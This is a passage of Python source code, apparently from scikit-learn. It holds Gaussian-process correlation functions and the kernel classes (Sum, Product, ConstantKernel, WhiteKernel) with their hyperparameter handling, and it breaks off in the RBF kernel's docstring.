        An array with shape (n_eval, ) with the values of the autocorrelation
        model.
    """

    theta = np.asarray(theta, dtype=np.float64)
    d = np.asarray(d, dtype=np.float64)

    n_eval = d.shape[0]
    r = np.zeros(n_eval)
    r[np.all(d == 0., axis=1)] = 1.

    return r


def cubic(theta, d):
    """
    Cubic correlation model::

        theta, d --> r(theta, d) =
          n
         prod max(0, 1 - 3(theta_j*d_ij)^2 + 2(theta_j*d_ij)^3) ,  i = 1,...,m
        j = 1

    Parameters
    ----------
    theta : array_like
        An array with shape 1 (isotropic) or n (anisotropic) giving the
        autocorrelation parameter(s).

    d : array_like
        An array with shape (n_eval, n_features) giving the componentwise
        distances between locations x and x' at which the correlation model
        should be evaluated.

    Returns
    -------
    r : array_like
        An array with shape (n_eval, ) with the values of the autocorrelation
        model.
    """

    theta = np.asarray(theta, dtype=np.float64)
    d = np.asarray(d, dtype=np.float64)

    if d.ndim > 1:
        n_features = d.shape[1]
    else:
        n_features = 1

    lth = theta.size
    if lth == 1:
        td = np.abs(d) * theta
    elif lth != n_features:
        raise Exception("Length of theta must be 1 or " + str(n_features))
    else:
        td = np.abs(d) * theta.reshape(1, n_features)

    td[td > 1.] = 1.
    ss = 1. - td ** 2. * (3. - 2. * td)
    r = np.prod(ss, 1)

    return r


def linear(theta, d):
    """
    Linear correlation model::

        theta, d --> r(theta, d) =
              n
            prod max(0, 1 - theta_j*d_ij) ,  i = 1,...,m
            j = 1

    Parameters
    ----------
    theta : array_like
        An array with shape 1 (isotropic) or n (anisotropic) giving the
        autocorrelation parameter(s).

    d : array_like
        An array with shape (n_eval, n_features) giving the componentwise
        distances between locations x and x' at which the correlation model
        should be evaluated.

    Returns
    -------
    r : array_like
        An array with shape (n_eval, ) with the values of the autocorrelation
        model.
    """

    theta = np.asarray(theta, dtype=np.float64)
    d = np.asarray(d, dtype=np.float64)

    if d.ndim > 1:
        n_features = d.shape[1]
    else:
        n_features = 1

    lth = theta.size
    if lth == 1:
        td = np.abs(d) * theta
    elif lth != n_features:
        raise Exception("Length of theta must be 1 or %s" % n_features)
    else:
        td = np.abs(d) * theta.reshape(1, n_features)

    td[td > 1.] = 1.
    ss = 1. - td
    r = np.prod(ss, 1)

    return r






"""Kernels for Gaussian process regression and classification.

The kernels in this module allow kernel-engineering, i.e., they can be
combined via the "+" and "*" operators or be exponentiated with a scalar
via "**". These sum and product expressions can also contain scalar values,
which are automatically converted to a constant kernel.

All kernels allow (analytic) gradient-based hyperparameter optimization.
The space of hyperparameters can be specified by giving lower und upper
boundaries for the value of each hyperparameter (the search space is thus
rectangular). Instead of specifying bounds, hyperparameters can also be
declared to be "fixed", which causes these hyperparameters to be excluded from
optimization.
"""

# Author: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
# License: BSD 3 clause

# Note: this module is strongly inspired by the kernel module of the george
#       package.

from abc import ABCMeta, abstractmethod
from collections import namedtuple
import math

import numpy as np
from scipy.special import kv, gamma
from scipy.spatial.distance import pdist, cdist, squareform

from ..metrics.pairwise import pairwise_kernels
from ..externals import six
from ..base import clone
from sklearn.externals.funcsigs import signature


def _check_length_scale(X, length_scale):
    length_scale = np.squeeze(length_scale).astype(float)
    if np.ndim(length_scale) > 1:
        raise ValueError("length_scale cannot be of dimension greater than 1")
    if np.ndim(length_scale) == 1 and X.shape[1] != length_scale.shape[0]:
        raise ValueError("Anisotropic kernel must have the same number of "
                         "dimensions as data (%d!=%d)"
                         % (length_scale.shape[0], X.shape[1]))
    return length_scale


class Hyperparameter(namedtuple('Hyperparameter',
                                ('name', 'value_type', 'bounds',
                                 'n_elements', 'fixed'))):
    """A kernel hyperparameter's specification in form of a namedtuple.

    Attributes
    ----------
    name : string
        The name of the hyperparameter. Note that a kernel using a
        hyperparameter with name "x" must have the attributes self.x and
        self.x_bounds

    value_type : string
        The type of the hyperparameter. Currently, only "numeric"
        hyperparameters are supported.

    bounds : pair of floats >= 0 or "fixed"
        The lower and upper bound on the parameter. If n_elements>1, a pair
        of 1d array with n_elements each may be given alternatively. If
        the string "fixed" is passed as bounds, the hyperparameter's value
        cannot be changed.

    n_elements : int, default=1
        The number of elements of the hyperparameter value. Defaults to 1,
        which corresponds to a scalar hyperparameter. n_elements > 1
        corresponds to a hyperparameter which is vector-valued,
        such as, e.g., anisotropic length-scales.

    fixed : bool, default: None
        Whether the value of this hyperparameter is fixed, i.e., cannot be
        changed during hyperparameter tuning. If None is passed, the "fixed" is
        derived based on the given bounds.
    """
    # A raw namedtuple is very memory efficient as it packs the attributes
    # in a struct to get rid of the __dict__ of attributes in particular it
    # does not copy the string for the keys on each instance.
    # By deriving a namedtuple class just to introduce the __init__ method we
    # would also reintroduce the __dict__ on the instance. By telling the
    # Python interpreter that this subclass uses static __slots__ instead of
    # dynamic attributes. Furthermore we don't need any additional slot in the
    # subclass so we set __slots__ to the empty tuple.
    __slots__ = ()

    def __new__(cls, name, value_type, bounds, n_elements=1, fixed=None):
        if not isinstance(bounds, six.string_types) or bounds != "fixed":
            bounds = np.atleast_2d(bounds)
            if n_elements > 1:  # vector-valued parameter
                if bounds.shape[0] == 1:
                    bounds = np.repeat(bounds, n_elements, 0)
                elif bounds.shape[0] != n_elements:
                    raise ValueError("Bounds on %s should have either 1 or "
                                     "%d dimensions. Given are %d"
                                     % (name, n_elements, bounds.shape[0]))

        if fixed is None:
            fixed = isinstance(bounds, six.string_types) and bounds == "fixed"
        return super(Hyperparameter, cls).__new__(
            cls, name, value_type, bounds, n_elements, fixed)

    # This is mainly a testing utility to check that two hyperparameters
    # are equal.
    def __eq__(self, other):
        return (self.name == other.name and
                self.value_type == other.value_type and
                np.all(self.bounds == other.bounds) and
                self.n_elements == other.n_elements and
                self.fixed == other.fixed)


class Kernel(six.with_metaclass(ABCMeta)):
    """Base class for all kernels."""

    def get_params(self, deep=True):
        """Get parameters of this kernel.

        Parameters
        ----------
        deep: boolean, optional
            If True, will return the parameters for this estimator and
            contained subobjects that are estimators.

        Returns
        -------
        params : mapping of string to any
            Parameter names mapped to their values.
        """
        params = dict()

        # introspect the constructor arguments to find the model parameters
        # to represent
        cls = self.__class__
        init = getattr(cls.__init__, 'deprecated_original', cls.__init__)
        init_sign = signature(init)
        args, varargs = [], []
        for parameter in init_sign.parameters.values():
            if (parameter.kind != parameter.VAR_KEYWORD and
                    parameter.name != 'self'):
                args.append(parameter.name)
            if parameter.kind == parameter.VAR_POSITIONAL:
                varargs.append(parameter.name)

        if len(varargs) != 0:
            raise RuntimeError("scikit-learn kernels should always "
                               "specify their parameters in the signature"
                               " of their __init__ (no varargs)."
                               " %s doesn't follow this convention."
                               % (cls, ))
        for arg in args:
            params[arg] = getattr(self, arg, None)
        return params

    def set_params(self, **params):
        """Set the parameters of this kernel.

        The method works on simple kernels as well as on nested kernels.
        The latter have parameters of the form ``<component>__<parameter>``
        so that it's possible to update each component of a nested object.

        Returns
        -------
        self
        """
        if not params:
            # Simple optimisation to gain speed (inspect is slow)
            return self
        valid_params = self.get_params(deep=True)
        for key, value in six.iteritems(params):
            split = key.split('__', 1)
            if len(split) > 1:
                # nested objects case
                name, sub_name = split
                if name not in valid_params:
                    raise ValueError('Invalid parameter %s for kernel %s. '
                                     'Check the list of available parameters '
                                     'with `kernel.get_params().keys()`.' %
                                     (name, self))
                sub_object = valid_params[name]
                sub_object.set_params(**{sub_name: value})
            else:
                # simple objects case
                if key not in valid_params:
                    raise ValueError('Invalid parameter %s for kernel %s. '
                                     'Check the list of available parameters '
                                     'with `kernel.get_params().keys()`.' %
                                     (key, self.__class__.__name__))
                setattr(self, key, value)
        return self

    def clone_with_theta(self, theta):
        """Returns a clone of self with given hyperparameters theta. """
        cloned = clone(self)
        cloned.theta = theta
        return cloned

    @property
    def n_dims(self):
        """Returns the number of non-fixed hyperparameters of the kernel."""
        return self.theta.shape[0]

    @property
    def hyperparameters(self):
        """Returns a list of all hyperparameter specifications."""
        r = []
        for attr in dir(self):
            if attr.startswith("hyperparameter_"):
                r.append(getattr(self, attr))
        return r

    @property
    def theta(self):
        """Returns the (flattened, log-transformed) non-fixed hyperparameters.

        Note that theta are typically the log-transformed values of the
        kernel's hyperparameters as this representation of the search space
        is more amenable for hyperparameter search, as hyperparameters like
        length-scales naturally live on a log-scale.

        Returns
        -------
        theta : array, shape (n_dims,)
            The non-fixed, log-transformed hyperparameters of the kernel
        """
        theta = []
        params = self.get_params()
        for hyperparameter in self.hyperparameters:
            if not hyperparameter.fixed:
                theta.append(params[hyperparameter.name])
        if len(theta) > 0:
            return np.log(np.hstack(theta))
        else:
            return np.array([])

    @theta.setter
    def theta(self, theta):
        """Sets the (flattened, log-transformed) non-fixed hyperparameters.

        Parameters
        ----------
        theta : array, shape (n_dims,)
            The non-fixed, log-transformed hyperparameters of the kernel
        """
        params = self.get_params()
        i = 0
        for hyperparameter in self.hyperparameters:
            if hyperparameter.fixed:
                continue
            if hyperparameter.n_elements > 1:
                # vector-valued parameter
                params[hyperparameter.name] = np.exp(
                    theta[i:i + hyperparameter.n_elements])
                i += hyperparameter.n_elements
            else:
                params[hyperparameter.name] = np.exp(theta[i])
                i += 1

        if i != len(theta):
            raise ValueError("theta has not the correct number of entries."
                             " Should be %d; given are %d"
                             % (i, len(theta)))
        self.set_params(**params)

    @property
    def bounds(self):
        """Returns the log-transformed bounds on the theta.

        Returns
        -------
        bounds : array, shape (n_dims, 2)
            The log-transformed bounds on the kernel's hyperparameters theta
        """
        bounds = []
        for hyperparameter in self.hyperparameters:
            if not hyperparameter.fixed:
                bounds.append(hyperparameter.bounds)
        if len(bounds) > 0:
            return np.log(np.vstack(bounds))
        else:
            return np.array([])

    def __add__(self, b):
        if not isinstance(b, Kernel):
            return Sum(self, ConstantKernel(b))
        return Sum(self, b)

    def __radd__(self, b):
        if not isinstance(b, Kernel):
            return Sum(ConstantKernel(b), self)
        return Sum(b, self)

    def __mul__(self, b):
        if not isinstance(b, Kernel):
            return Product(self, ConstantKernel(b))
        return Product(self, b)

    def __rmul__(self, b):
        if not isinstance(b, Kernel):
            return Product(ConstantKernel(b), self)
        return Product(b, self)

    def __pow__(self, b):
        return Exponentiation(self, b)

    def __eq__(self, b):
        if type(self) != type(b):
            return False
        params_a = self.get_params()
        params_b = b.get_params()
        for key in set(list(params_a.keys()) + list(params_b.keys())):
            if np.any(params_a.get(key, None) != params_b.get(key, None)):
                return False
        return True

    def __repr__(self):
        return "{0}({1})".format(self.__class__.__name__,
                                 ", ".join(map("{0:.3g}".format, self.theta)))

    @abstractmethod
    def __call__(self, X, Y=None, eval_gradient=False):
        """Evaluate the kernel."""

    @abstractmethod
    def diag(self, X):
        """Returns the diagonal of the kernel k(X, X).

        The result of this method is identical to np.diag(self(X)); however,
        it can be evaluated more efficiently since only the diagonal is
        evaluated.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Returns
        -------
        K_diag : array, shape (n_samples_X,)
            Diagonal of kernel k(X, X)
        """

    @abstractmethod
    def is_stationary(self):
        """Returns whether the kernel is stationary. """


class NormalizedKernelMixin(object):
    """Mixin for kernels which are normalized: k(X, X)=1."""

    def diag(self, X):
        """Returns the diagonal of the kernel k(X, X).

        The result of this method is identical to np.diag(self(X)); however,
        it can be evaluated more efficiently since only the diagonal is
        evaluated.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Returns
        -------
        K_diag : array, shape (n_samples_X,)
            Diagonal of kernel k(X, X)
        """
        return np.ones(X.shape[0])


class StationaryKernelMixin(object):
    """Mixin for kernels which are stationary: k(X, Y)= f(X-Y)."""

    def is_stationary(self):
        """Returns whether the kernel is stationary. """
        return True


class CompoundKernel(Kernel):
    """Kernel which is composed of a set of other kernels."""

    def __init__(self, kernels):
        self.kernels = kernels

    def get_params(self, deep=True):
        """Get parameters of this kernel.

        Parameters
        ----------
        deep: boolean, optional
            If True, will return the parameters for this estimator and
            contained subobjects that are estimators.

        Returns
        -------
        params : mapping of string to any
            Parameter names mapped to their values.
        """
        return dict(kernels=self.kernels)

    @property
    def theta(self):
        """Returns the (flattened, log-transformed) non-fixed hyperparameters.

        Note that theta are typically the log-transformed values of the
        kernel's hyperparameters as this representation of the search space
        is more amenable for hyperparameter search, as hyperparameters like
        length-scales naturally live on a log-scale.

        Returns
        -------
        theta : array, shape (n_dims,)
            The non-fixed, log-transformed hyperparameters of the kernel
        """
        return np.hstack([kernel.theta for kernel in self.kernels])

    @theta.setter
    def theta(self, theta):
        """Sets the (flattened, log-transformed) non-fixed hyperparameters.

        Parameters
        ----------
        theta : array, shape (n_dims,)
            The non-fixed, log-transformed hyperparameters of the kernel
        """
        k_dims = self.k1.n_dims
        for i, kernel in enumerate(self.kernels):
            kernel.theta = theta[i * k_dims:(i + 1) * k_dims]

    @property
    def bounds(self):
        """Returns the log-transformed bounds on the theta.

        Returns
        -------
        bounds : array, shape (n_dims, 2)
            The log-transformed bounds on the kernel's hyperparameters theta
        """
        return np.vstack([kernel.bounds for kernel in self.kernels])

    def __call__(self, X, Y=None, eval_gradient=False):
        """Return the kernel k(X, Y) and optionally its gradient.

        Note that this compound kernel returns the results of all simple kernel
        stacked along an additional axis.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Y : array, shape (n_samples_Y, n_features), (optional, default=None)
            Right argument of the returned kernel k(X, Y). If None, k(X, X)
            if evaluated instead.

        eval_gradient : bool (optional, default=False)
            Determines whether the gradient with respect to the kernel
            hyperparameter is determined.

        Returns
        -------
        K : array, shape (n_samples_X, n_samples_Y, n_kernels)
            Kernel k(X, Y)

        K_gradient : array, shape (n_samples_X, n_samples_X, n_dims, n_kernels)
            The gradient of the kernel k(X, X) with respect to the
            hyperparameter of the kernel. Only returned when eval_gradient
            is True.
        """
        if eval_gradient:
            K = []
            K_grad = []
            for kernel in self.kernels:
                K_single, K_grad_single = kernel(X, Y, eval_gradient)
                K.append(K_single)
                K_grad.append(K_grad_single[..., np.newaxis])
            return np.dstack(K), np.concatenate(K_grad, 3)
        else:
            return np.dstack([kernel(X, Y, eval_gradient)
                              for kernel in self.kernels])

    def __eq__(self, b):
        if type(self) != type(b) or len(self.kernels) != len(b.kernels):
            return False
        return np.all([self.kernels[i] == b.kernels[i]
                       for i in range(len(self.kernels))])

    def is_stationary(self):
        """Returns whether the kernel is stationary. """
        return np.all([kernel.is_stationary() for kernel in self.kernels])

    def diag(self, X):
        """Returns the diagonal of the kernel k(X, X).

        The result of this method is identical to np.diag(self(X)); however,
        it can be evaluated more efficiently since only the diagonal is
        evaluated.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Returns
        -------
        K_diag : array, shape (n_samples_X, n_kernels)
            Diagonal of kernel k(X, X)
        """
        return np.vstack([kernel.diag(X) for kernel in self.kernels]).T


class KernelOperator(Kernel):
    """Base class for all kernel operators. """

    def __init__(self, k1, k2):
        self.k1 = k1
        self.k2 = k2

    def get_params(self, deep=True):
        """Get parameters of this kernel.

        Parameters
        ----------
        deep: boolean, optional
            If True, will return the parameters for this estimator and
            contained subobjects that are estimators.

        Returns
        -------
        params : mapping of string to any
            Parameter names mapped to their values.
        """
        params = dict(k1=self.k1, k2=self.k2)
        if deep:
            deep_items = self.k1.get_params().items()
            params.update(('k1__' + k, val) for k, val in deep_items)
            deep_items = self.k2.get_params().items()
            params.update(('k2__' + k, val) for k, val in deep_items)

        return params

    @property
    def hyperparameters(self):
        """Returns a list of all hyperparameter."""
        r = []
        for hyperparameter in self.k1.hyperparameters:
            r.append(Hyperparameter("k1__" + hyperparameter.name,
                                    hyperparameter.value_type,
                                    hyperparameter.bounds,
                                    hyperparameter.n_elements))
        for hyperparameter in self.k2.hyperparameters:
            r.append(Hyperparameter("k2__" + hyperparameter.name,
                                    hyperparameter.value_type,
                                    hyperparameter.bounds,
                                    hyperparameter.n_elements))
        return r

    @property
    def theta(self):
        """Returns the (flattened, log-transformed) non-fixed hyperparameters.

        Note that theta are typically the log-transformed values of the
        kernel's hyperparameters as this representation of the search space
        is more amenable for hyperparameter search, as hyperparameters like
        length-scales naturally live on a log-scale.

        Returns
        -------
        theta : array, shape (n_dims,)
            The non-fixed, log-transformed hyperparameters of the kernel
        """
        return np.append(self.k1.theta, self.k2.theta)

    @theta.setter
    def theta(self, theta):
        """Sets the (flattened, log-transformed) non-fixed hyperparameters.

        Parameters
        ----------
        theta : array, shape (n_dims,)
            The non-fixed, log-transformed hyperparameters of the kernel
        """
        k1_dims = self.k1.n_dims
        self.k1.theta = theta[:k1_dims]
        self.k2.theta = theta[k1_dims:]

    @property
    def bounds(self):
        """Returns the log-transformed bounds on the theta.

        Returns
        -------
        bounds : array, shape (n_dims, 2)
            The log-transformed bounds on the kernel's hyperparameters theta
        """
        if self.k1.bounds.size == 0:
            return self.k2.bounds
        if self.k2.bounds.size == 0:
            return self.k1.bounds
        return np.vstack((self.k1.bounds, self.k2.bounds))

    def __eq__(self, b):
        if type(self) != type(b):
            return False
        return (self.k1 == b.k1 and self.k2 == b.k2) \
            or (self.k1 == b.k2 and self.k2 == b.k1)

    def is_stationary(self):
        """Returns whether the kernel is stationary. """
        return self.k1.is_stationary() and self.k2.is_stationary()


class Sum(KernelOperator):
    """Sum-kernel k1 + k2 of two kernels k1 and k2.

    The resulting kernel is defined as
    k_sum(X, Y) = k1(X, Y) + k2(X, Y)

    Parameters
    ----------
    k1 : Kernel object
        The first base-kernel of the sum-kernel

    k2 : Kernel object
        The second base-kernel of the sum-kernel
    """

    def __call__(self, X, Y=None, eval_gradient=False):
        """Return the kernel k(X, Y) and optionally its gradient.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Y : array, shape (n_samples_Y, n_features), (optional, default=None)
            Right argument of the returned kernel k(X, Y). If None, k(X, X)
            if evaluated instead.

        eval_gradient : bool (optional, default=False)
            Determines whether the gradient with respect to the kernel
            hyperparameter is determined.

        Returns
        -------
        K : array, shape (n_samples_X, n_samples_Y)
            Kernel k(X, Y)

        K_gradient : array (opt.), shape (n_samples_X, n_samples_X, n_dims)
            The gradient of the kernel k(X, X) with respect to the
            hyperparameter of the kernel. Only returned when eval_gradient
            is True.
        """
        if eval_gradient:
            K1, K1_gradient = self.k1(X, Y, eval_gradient=True)
            K2, K2_gradient = self.k2(X, Y, eval_gradient=True)
            return K1 + K2, np.dstack((K1_gradient, K2_gradient))
        else:
            return self.k1(X, Y) + self.k2(X, Y)

    def diag(self, X):
        """Returns the diagonal of the kernel k(X, X).

        The result of this method is identical to np.diag(self(X)); however,
        it can be evaluated more efficiently since only the diagonal is
        evaluated.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Returns
        -------
        K_diag : array, shape (n_samples_X,)
            Diagonal of kernel k(X, X)
        """
        return self.k1.diag(X) + self.k2.diag(X)

    def __repr__(self):
        return "{0} + {1}".format(self.k1, self.k2)


class Product(KernelOperator):
    """Product-kernel k1 * k2 of two kernels k1 and k2.

    The resulting kernel is defined as
    k_prod(X, Y) = k1(X, Y) * k2(X, Y)

    Parameters
    ----------
    k1 : Kernel object
        The first base-kernel of the product-kernel

    k2 : Kernel object
        The second base-kernel of the product-kernel
    """

    def __call__(self, X, Y=None, eval_gradient=False):
        """Return the kernel k(X, Y) and optionally its gradient.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Y : array, shape (n_samples_Y, n_features), (optional, default=None)
            Right argument of the returned kernel k(X, Y). If None, k(X, X)
            if evaluated instead.

        eval_gradient : bool (optional, default=False)
            Determines whether the gradient with respect to the kernel
            hyperparameter is determined.

        Returns
        -------
        K : array, shape (n_samples_X, n_samples_Y)
            Kernel k(X, Y)

        K_gradient : array (opt.), shape (n_samples_X, n_samples_X, n_dims)
            The gradient of the kernel k(X, X) with respect to the
            hyperparameter of the kernel. Only returned when eval_gradient
            is True.
        """
        if eval_gradient:
            K1, K1_gradient = self.k1(X, Y, eval_gradient=True)
            K2, K2_gradient = self.k2(X, Y, eval_gradient=True)
            return K1 * K2, np.dstack((K1_gradient * K2[:, :, np.newaxis],
                                       K2_gradient * K1[:, :, np.newaxis]))
        else:
            return self.k1(X, Y) * self.k2(X, Y)

    def diag(self, X):
        """Returns the diagonal of the kernel k(X, X).

        The result of this method is identical to np.diag(self(X)); however,
        it can be evaluated more efficiently since only the diagonal is
        evaluated.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Returns
        -------
        K_diag : array, shape (n_samples_X,)
            Diagonal of kernel k(X, X)
        """
        return self.k1.diag(X) * self.k2.diag(X)

    def __repr__(self):
        return "{0} * {1}".format(self.k1, self.k2)


class Exponentiation(Kernel):
    """Exponentiate kernel by given exponent.

    The resulting kernel is defined as
    k_exp(X, Y) = k(X, Y) ** exponent

    Parameters
    ----------
    kernel : Kernel object
        The base kernel

    exponent : float
        The exponent for the base kernel

    """
    def __init__(self, kernel, exponent):
        self.kernel = kernel
        self.exponent = exponent

    def get_params(self, deep=True):
        """Get parameters of this kernel.

        Parameters
        ----------
        deep: boolean, optional
            If True, will return the parameters for this estimator and
            contained subobjects that are estimators.

        Returns
        -------
        params : mapping of string to any
            Parameter names mapped to their values.
        """
        params = dict(kernel=self.kernel, exponent=self.exponent)
        if deep:
            deep_items = self.kernel.get_params().items()
            params.update(('kernel__' + k, val) for k, val in deep_items)
        return params

    @property
    def hyperparameters(self):
        """Returns a list of all hyperparameter."""
        r = []
        for hyperparameter in self.kernel.hyperparameters:
            r.append(Hyperparameter("kernel__" + hyperparameter.name,
                                    hyperparameter.value_type,
                                    hyperparameter.bounds,
                                    hyperparameter.n_elements))
        return r

    @property
    def theta(self):
        """Returns the (flattened, log-transformed) non-fixed hyperparameters.

        Note that theta are typically the log-transformed values of the
        kernel's hyperparameters as this representation of the search space
        is more amenable for hyperparameter search, as hyperparameters like
        length-scales naturally live on a log-scale.

        Returns
        -------
        theta : array, shape (n_dims,)
            The non-fixed, log-transformed hyperparameters of the kernel
        """
        return self.kernel.theta

    @theta.setter
    def theta(self, theta):
        """Sets the (flattened, log-transformed) non-fixed hyperparameters.

        Parameters
        ----------
        theta : array, shape (n_dims,)
            The non-fixed, log-transformed hyperparameters of the kernel
        """
        self.kernel.theta = theta

    @property
    def bounds(self):
        """Returns the log-transformed bounds on the theta.

        Returns
        -------
        bounds : array, shape (n_dims, 2)
            The log-transformed bounds on the kernel's hyperparameters theta
        """
        return self.kernel.bounds

    def __eq__(self, b):
        if type(self) != type(b):
            return False
        return (self.kernel == b.kernel and self.exponent == b.exponent)

    def __call__(self, X, Y=None, eval_gradient=False):
        """Return the kernel k(X, Y) and optionally its gradient.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Y : array, shape (n_samples_Y, n_features), (optional, default=None)
            Right argument of the returned kernel k(X, Y). If None, k(X, X)
            if evaluated instead.

        eval_gradient : bool (optional, default=False)
            Determines whether the gradient with respect to the kernel
            hyperparameter is determined.

        Returns
        -------
        K : array, shape (n_samples_X, n_samples_Y)
            Kernel k(X, Y)

        K_gradient : array (opt.), shape (n_samples_X, n_samples_X, n_dims)
            The gradient of the kernel k(X, X) with respect to the
            hyperparameter of the kernel. Only returned when eval_gradient
            is True.
        """
        if eval_gradient:
            K, K_gradient = self.kernel(X, Y, eval_gradient=True)
            K_gradient *= \
                self.exponent * K[:, :, np.newaxis] ** (self.exponent - 1)
            return K ** self.exponent, K_gradient
        else:
            K = self.kernel(X, Y, eval_gradient=False)
            return K ** self.exponent

    def diag(self, X):
        """Returns the diagonal of the kernel k(X, X).

        The result of this method is identical to np.diag(self(X)); however,
        it can be evaluated more efficiently since only the diagonal is
        evaluated.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Returns
        -------
        K_diag : array, shape (n_samples_X,)
            Diagonal of kernel k(X, X)
        """
        return self.kernel.diag(X) ** self.exponent

    def __repr__(self):
        return "{0} ** {1}".format(self.kernel, self.exponent)

    def is_stationary(self):
        """Returns whether the kernel is stationary. """
        return self.kernel.is_stationary()


class ConstantKernel(StationaryKernelMixin, Kernel):
    """Constant kernel.

    Can be used as part of a product-kernel where it scales the magnitude of
    the other factor (kernel) or as part of a sum-kernel, where it modifies
    the mean of the Gaussian process.

    k(x_1, x_2) = constant_value for all x_1, x_2

    Parameters
    ----------
    constant_value : float, default: 1.0
        The constant value which defines the covariance:
        k(x_1, x_2) = constant_value

    constant_value_bounds : pair of floats >= 0, default: (1e-5, 1e5)
        The lower and upper bound on constant_value
    """
    def __init__(self, constant_value=1.0, constant_value_bounds=(1e-5, 1e5)):
        self.constant_value = constant_value
        self.constant_value_bounds = constant_value_bounds

    @property
    def hyperparameter_constant_value(self):
        return Hyperparameter(
            "constant_value", "numeric", self.constant_value_bounds)

    def __call__(self, X, Y=None, eval_gradient=False):
        """Return the kernel k(X, Y) and optionally its gradient.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Y : array, shape (n_samples_Y, n_features), (optional, default=None)
            Right argument of the returned kernel k(X, Y). If None, k(X, X)
            if evaluated instead.

        eval_gradient : bool (optional, default=False)
            Determines whether the gradient with respect to the kernel
            hyperparameter is determined. Only supported when Y is None.

        Returns
        -------
        K : array, shape (n_samples_X, n_samples_Y)
            Kernel k(X, Y)

        K_gradient : array (opt.), shape (n_samples_X, n_samples_X, n_dims)
            The gradient of the kernel k(X, X) with respect to the
            hyperparameter of the kernel. Only returned when eval_gradient
            is True.
        """
        X = np.atleast_2d(X)
        if Y is None:
            Y = X
        elif eval_gradient:
            raise ValueError("Gradient can only be evaluated when Y is None.")

        K = self.constant_value * np.ones((X.shape[0], Y.shape[0]))
        if eval_gradient:
            if not self.hyperparameter_constant_value.fixed:
                return (K, self.constant_value
                        * np.ones((X.shape[0], X.shape[0], 1)))
            else:
                return K, np.empty((X.shape[0], X.shape[0], 0))
        else:
            return K

    def diag(self, X):
        """Returns the diagonal of the kernel k(X, X).

        The result of this method is identical to np.diag(self(X)); however,
        it can be evaluated more efficiently since only the diagonal is
        evaluated.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Returns
        -------
        K_diag : array, shape (n_samples_X,)
            Diagonal of kernel k(X, X)
        """
        return self.constant_value * np.ones(X.shape[0])

    def __repr__(self):
        return "{0:.3g}**2".format(np.sqrt(self.constant_value))


class WhiteKernel(StationaryKernelMixin, Kernel):
    """White kernel.

    The main use-case of this kernel is as part of a sum-kernel where it
    explains the noise-component of the signal. Tuning its parameter
    corresponds to estimating the noise-level.

    k(x_1, x_2) = noise_level if x_1 == x_2 else 0

    Parameters
    ----------
    noise_level : float, default: 1.0
        Parameter controlling the noise level

    noise_level_bounds : pair of floats >= 0, default: (1e-5, 1e5)
        The lower and upper bound on noise_level
    """
    def __init__(self, noise_level=1.0, noise_level_bounds=(1e-5, 1e5)):
        self.noise_level = noise_level
        self.noise_level_bounds = noise_level_bounds

    @property
    def hyperparameter_noise_level(self):
        return Hyperparameter(
            "noise_level", "numeric", self.noise_level_bounds)

    def __call__(self, X, Y=None, eval_gradient=False):
        """Return the kernel k(X, Y) and optionally its gradient.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Y : array, shape (n_samples_Y, n_features), (optional, default=None)
            Right argument of the returned kernel k(X, Y). If None, k(X, X)
            if evaluated instead.

        eval_gradient : bool (optional, default=False)
            Determines whether the gradient with respect to the kernel
            hyperparameter is determined. Only supported when Y is None.

        Returns
        -------
        K : array, shape (n_samples_X, n_samples_Y)
            Kernel k(X, Y)

        K_gradient : array (opt.), shape (n_samples_X, n_samples_X, n_dims)
            The gradient of the kernel k(X, X) with respect to the
            hyperparameter of the kernel. Only returned when eval_gradient
            is True.
        """
        X = np.atleast_2d(X)
        if Y is not None and eval_gradient:
            raise ValueError("Gradient can only be evaluated when Y is None.")

        if Y is None:
            K = self.noise_level * np.eye(X.shape[0])
            if eval_gradient:
                if not self.hyperparameter_noise_level.fixed:
                    return (K, self.noise_level
                            * np.eye(X.shape[0])[:, :, np.newaxis])
                else:
                    return K, np.empty((X.shape[0], X.shape[0], 0))
            else:
                return K
        else:
            return np.zeros((X.shape[0], Y.shape[0]))

    def diag(self, X):
        """Returns the diagonal of the kernel k(X, X).

        The result of this method is identical to np.diag(self(X)); however,
        it can be evaluated more efficiently since only the diagonal is
        evaluated.

        Parameters
        ----------
        X : array, shape (n_samples_X, n_features)
            Left argument of the returned kernel k(X, Y)

        Returns
        -------
        K_diag : array, shape (n_samples_X,)
            Diagonal of kernel k(X, X)
        """
        return self.noise_level * np.ones(X.shape[0])

    def __repr__(self):
        return "{0}(noise_level={1:.3g})".format(self.__class__.__name__,
                                                 self.noise_level)


class RBF(StationaryKernelMixin, NormalizedKernelMixin, Kernel):
    """Radial-basis function kernel (aka squared-exponential kernel).

    The RBF kernel is a stationary kernel. It is also known as the
    "squared exponential" kernel. It is parameterized by a length-scale
    parameter length_scale>0, which can either be a scalar (isotropic variant
    of the kernel) or a vector with the same number of dimensions as the inputs
    X (anisotropic variant of the kernel). The kernel is given by:

    k(x_i, x_j) = exp(-1 / 2 d(x_i / length_scale, x_j / length_scale)^2)

    This kernel is infinitely differentiable, which implies that GPs with this
    kernel as covariance function have mean square derivatives of all orders,
    and are thus very smooth.

    Parameters
    -----------
    length_scale : float or array with shape (n_features,), default: 1.0
